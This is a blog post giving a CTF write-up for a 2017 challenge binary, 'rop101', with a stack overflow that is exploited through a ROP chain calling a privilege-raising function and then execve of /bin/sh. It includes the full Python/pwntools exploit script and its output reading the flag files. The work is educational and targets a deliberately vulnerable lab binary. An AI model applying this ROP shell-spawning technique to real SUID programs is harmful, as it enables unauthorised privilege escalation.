STEM CTF: Cyber Challenge 2017 Binary 150 Writeup

Posted on Sun 08 October 2017 in ctf

Wow, first post after 7 years of inactivity and its going to be my first CTF writeup. A couple of weeks ago I participated in the STEM CTF Cyber Challenge 2017 and would like to share some of my solutions in the next couple of posts.

Binary 150

We got a SSH command that connects you to the challenge server. On this server there are 4 files. 3 flags and a binary. The flag files are not readable by the current user but the binary has the SUID permission bit set and has the correct permissions. The binary is called rop101 and we probably can use it to get to the flags. First, I copied the binary to my local machine for further analysis. The file command tells us, that the binary is not stripped, nice. rabin2 (part of radare2) then reveals, that the binary uses the NX bit but does not use stack canaries. So judging by this and the name of the binary, this challenge probably involves return oriented programming.

$ scp -P 2200 challenge@10.0.2.3:rop101 .

$ file rop101
rop101: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0ecc4d4916dc994a3c597075f917e215b4a3e043, not stripped

$ rabin2 -I rop101
arch     x86
binsz    724218
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
rpath    NONE
static   true
stripped false
subsys   linux
va       true

Lets open it up in radare2, run a quick analysis and get an overview of the binary.

Main Function in radare2

Mh, it prints a welcome message and then calls vuln_func. Lets see what it does.

vuln_func in radare2

So it reads 256 bytes from STDIN and writes them to a local variable on the stack that is smaller than 256 bytes. Using this we can overwrite the return address of the vuln_func on the stack and take control of the program flow. Lets first determine the position of the target address. In this case we could just calculate it but lets use a De Bruijn pattern for fun and education. A De Bruijn pattern is a sequence where all substrings can be assigned to a specific index of the sequence. In other words given only a substring of the sequence you can tell from which position in the main sequence the substring is from. Lets generate a 256 byte long pattern using ragg2 (also part of radare2) and give it to the binary, while it runs in gdb.

$ ragg2 -r -P 256
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY

$ gdb ./rop101
GNU gdb (GDB) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./rop101...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/user/binary/150/rop101
================================================
Welcome to ROP (return-oriented programming) 101
There's 3 flags
Good luck
================================================
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY

Program received signal SIGSEGV, Segmentation fault.
0x416d4141 in ?? ()
(gdb)

It crashed on address 0x416d4141. ragg2 can use the address to determine the position in the generated pattern.

$ ragg2 -q 0x416d4141
Little endian: 112
Big endian: 113

Since x86 is a little endian architecture our padding for the ROP chain has to be 112 bytes. Now we have to figure out if there are functions in the binary which can be used for our purposes. Using is* in radare2 to list all available symbols gives us a lot to work with. After looking at the output for a bit, I found some interesting symbol names.

  • get_flag1
  • setup_get_flag2
  • get_flag2
  • let_me_help_you

The first 3 functions executed in succession will read the first two flags from file system and print them. Unfortunately there seems to be no function for the third flag, but let_me_help_you allows for a more generic solution. The function sets the real and effective group IDs to the group that is able to access the flag files. Combining this with a ROP chain that executes /bin/sh should yield a shell that is able to access the flags.

I used ROPgadget to generate the ROP chain and pwntools to interact with the process or the SSH server.

#!/usr/bin/env python2

# To generate:
# $ ropgadget --binary rop101 --ropchain
# execve generated by ROPgadget

from struct import pack

# padding size we got from ragg2
p = 'A'*112

# old attempts
#p += pack('<I', 0x080488B9) # get_flag1
#p += pack('<I', 0x08048921) # setup_get_flag2
#p += pack('<I', 0x0804892B) # get_flag2

p += pack('<I', 0x0804889B) # let_me_help_you

p += pack('<I', 0x0806ee7a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b7fc6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080547cb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee7a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b7fc6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080547cb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ee7a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049413) # xor eax, eax ; ret
p += pack('<I', 0x080547cb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de7ed) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ee7a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049413) # xor eax, eax ; ret
p += pack('<I', 0x08056d6b) # inc eax ; ret
p += pack('<I', 0x08056d6b) # inc eax ; ret
p += pack('<I', 0x08056d6b) # inc eax ; ret
p += pack('<I', 0x08056d6b) # inc eax ; ret
p += pack('<I', 0x08056d6b) # inc eax ; ret
p += pack('<I', 0x08056d6b) # inc eax ; ret
p += pack('<I', 0x08056d6b) # inc eax ; ret
p += pack('<I', 0x08056d6b) # inc eax ; ret
p += pack('<I', 0x08056d6b) # inc eax ; ret
p += pack('<I', 0x08056d6b) # inc eax ; ret
p += pack('<I', 0x08056d6b) # inc eax ; ret
p += pack('<I', 0x0806ca15) # int 0x80

from pwn import *
from time import sleep

context(arch = 'amd64', os = 'linux')

# for SSH
#s = ssh('challenge', '10.0.2.3', 2200, password="" )
#r = s.run('./rop101')

# for local test
r = process('./rop101')

sleep(0.1)
r.recv()
r.send(p)
r.send('\n')

r.interactive()

Running this exploit gives us the following (local simulation):

[+] Starting local process './rop101': pid 27157
[*] Switching to interactive mode
$ cat flag?.txt
MCA{17649490FC6A9A54}
MCA{DDBB13B9D5F4370F}
MCA{789D0E9B2C7BE2E0}
$

When we combine the 3 flags, we get the final solution: MCA{17649490FC6A9A54DDBB13B9D5F4370F789D0E9B2C7BE2E0}

Update (21. October 2017):

Since some visitors of this site might block the comments section provided by disqus (I completely understand, I block them too), I will add useful information from the comments to the main post.

A commenter pointed out that this solution does not work for them. I now tried to reproduce this locally, this time with the correct permissions and it is not working for me either (Arch Linux with /bin/bash symlinked to /bin/sh). I'm not 100% sure why this worked on the challenge server. My guess is that the challenge server used Debian and /bin/sh was actually /bin/dash or Debian patched bash to not drop privileges when symlinked to /bin/sh (This post on Stackoverflow suggests this).

ctf